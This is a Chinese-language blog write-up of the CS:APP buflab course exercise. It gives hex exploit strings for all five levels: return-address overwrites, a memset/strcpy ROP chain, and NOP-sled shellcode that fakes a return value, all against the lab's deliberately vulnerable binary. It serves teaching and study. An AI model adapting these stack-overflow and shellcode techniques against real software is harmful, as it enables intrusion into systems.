csapp-buflab

csapp-lab

Posted by X1ng on July 30, 2020

buflab与attacklab相似,但是是32位下的

The levels are called smoke (level 0), fizz (level 1), bang (level 2), boom (level 3), and kaboom (level 4), with smoke being the simplest and kaboom being the most difficult.

而且需要用makecookie输入ID获取cookie

32位下函数调用——手把手教你栈溢出从入门到放弃

实验辅助

hex2raw的使用说明

要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。

将攻击字符串存入文件中,如attack.txt

然后用下述方法调用:

1.cat attack.txt | ./hex2raw | ./ctarget

2../hex2raw <attack.txt> attackraw.txt

./ctarget < attackraw.txt./ctarget -i attackraw.txt

3.结合gdb使用

./hex2raw <attack.txt> attackraw.txt

gdb ctarget

(gdb) run < attackraw.txt 或 (gdb) run -i attackraw.txt

生成字节代码操作

编写一个汇编文件:

vim attack.s

汇编和反汇编此文件:

gcc -c attack.s

objdump -d attack.o > attack.d

由此推出这段代码的字节序列。

涉及的gdb命令

(gdb) r run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。

(gdb) c continue的简写,继续执行被调试程序,直至下一个断点或程序结束。

(gdb) print <指定变量> 显示指定变量的值。

(gdb) break *<代码地址> 设置断点。

(gdb) x/<n/f/u> examine的简写,查看内存地址中的值。

————————————————

版权声明:CSDN博主「_Silvia」的原创文章,原文链接:https://blog.csdn.net/qq_36894564/article/details/72863319

buflap

smoke

只需要算出偏移劫持返回地址修改为smoke就可以了

exp:

00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
18 8c 04 08

valid

fizz

ida pro查看fizz函数代码

cmp Jax,ds:cookie判断第一个参数与cookie是否相同,相同则通过

将cookie作为第一个参数放在栈中

exp:

00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
42 8c 04 08		//ret
00 00 00 00		//执行流返回
ef 9a 4c 62		//参数1

valid

bang

gdb查看bang函数代码,关键部分就是

将全局变量global_value与cookie比较

也就是要让global_value与cookie相等

没有python和pwntools的帮助不知道怎么写io,也就不能泄露地址,只能用PLT表中的函数,这题想了很久

最后思路是用memset函数将cookie后面四个字节清零,然后用strcpy函数将cookie复制到global_value

之所以不直接strcpy是因为cookie往后的首个\x00截断在8字节之后,所以要复制8个字节到global_value,而strcpy会在末尾加\x00,就破坏了原来的cookie

memset函数有三个参数,32位程序又都是将参数压栈进行传参,所以在调用完memset之后,在调用strcpy之前,要先将三个参数出栈

用ROPgadget找到能将三个参数出栈的gadget

exp:

00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00
80 89 04 08		//ret memset
f1 94 04 08		//执行流返回 3pop
0c d1 04 08		
00 00 00 00		
04 00 00 00		
90 88 04 08		//ret strcpy
9d 8c 04 08
00 d1 04 08
08 d1 04 08		//ret bang

global_value与cookie相等

valid

boom

之前没找到boom函数,原来不是要跳转boom函数

不同于之前跳入其他函数,在本任务中我们希望getbuf() 结束后回到test()原本的位置(即call getbuf后的下一行),并将你的cookie作为getbuf()的返回值传给test()。为了使攻击更加具有迷惑性我们还希望saved ebp被复原,这样一来原程序就完全不会因为外部攻击而出错崩溃,也就是退出攻击后要保证栈空间还原,使test()察觉不到我们干了什么,就好像我们什么都没做一样。

想了很久没想明白,ebp被覆盖了怎么可能复原ebp,百度看了师傅们的博客发现栈居然是固定的。。。

ROPgadget也找不到能用的gadget,所以考虑shellcode

对比 执行getbuf之前 和 需要跳转到call getbuf的下一条指令时的 ebp、esp

发现ebp不同,esp相同,只要确保esp不变修改ebp就可以了

利用leave指令,只要用原来ebp的值覆盖原来的ebp(也就是ebp指向的内存不变)就可以获得正常的ebp

然后将需要跳转的地址压栈,执行ret就可以了

用pwntools找汇编对应机器码

由于是返回栈上地址,为了稳妥我还是用nop指令(nop:什么事情也不做,继续执行下一条指令)填充,如果栈地址有微小变化,只要命中nop就能滑到shellcode(事实证明栈地址就是固定的)

exp:

90 90 90 90 
90 90 90 90
90 90 90 90 
90 90 90 90
90 90 90 90 
90 90 90 90
90 90 90 90 
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 be 8d 04 08 		//push 0x08048dbe
c3 90							//ret(\x90用来字节对齐)
10 31 68 55
b8 30 68 55

valid

kaboom

同样找了半天函数

本级要使用./bufbomb的-n参数,bufbomb不会再像从前哪样调用test(),而是调用testn(),testn()又调getbufn()。本级的任务是使getn返回cookie给testn()。听上去似乎与上一级没什么不同,但实际上该级的栈地址是动态的,每次都不一样,bufbomb会连续要我们输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,所以我们将不能再使用原来用gdb调试的方法来求%ebp的地址了。

作者:zhwhong 链接:https://www.jianshu.com/p/dc41c84cef17 来源:简书 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

五次,每次栈地址都不一样,,但是栈还是固定的,除了需要填充的字符非常多,还是用原来的方法直接解决

exp:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90  90
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 3a 8e 04 08		//push 0x08048e3a
c3 90  						//ret指令
10 31 68 55				//ebp
c0 30 68 55				//返回任意一个`\x90`
0a

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 3a 8e 04 08 		//push 0x08048e3a
c3 90  						//ret
e0 30 68 55				//ebp指令
90 30 68 55				//返回任意一个`\x90`
0a

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 3a 8e 04 08 		//push 0x08048e3a
c3 90  						//ret指令
40 31 68 55				//ebp
00 31 68 55				//返回任意一个`\x90`
0a

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 3a 8e 04 08 		//push 0x08048e3a
c3 90  						//ret指令
e0 30 68 55				//ebp
a0 30 68 55				//返回任意一个`\x90`
0a

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 
b8 ef 9a 4c 62 		//mov eax,0x624c9aef
68 3a 8e 04 08 		//push 0x08048e3a
c3 90 						//ret指令
c0 30 68 55				//ebp
00 30 68 55				//返回任意一个`\x90`

valid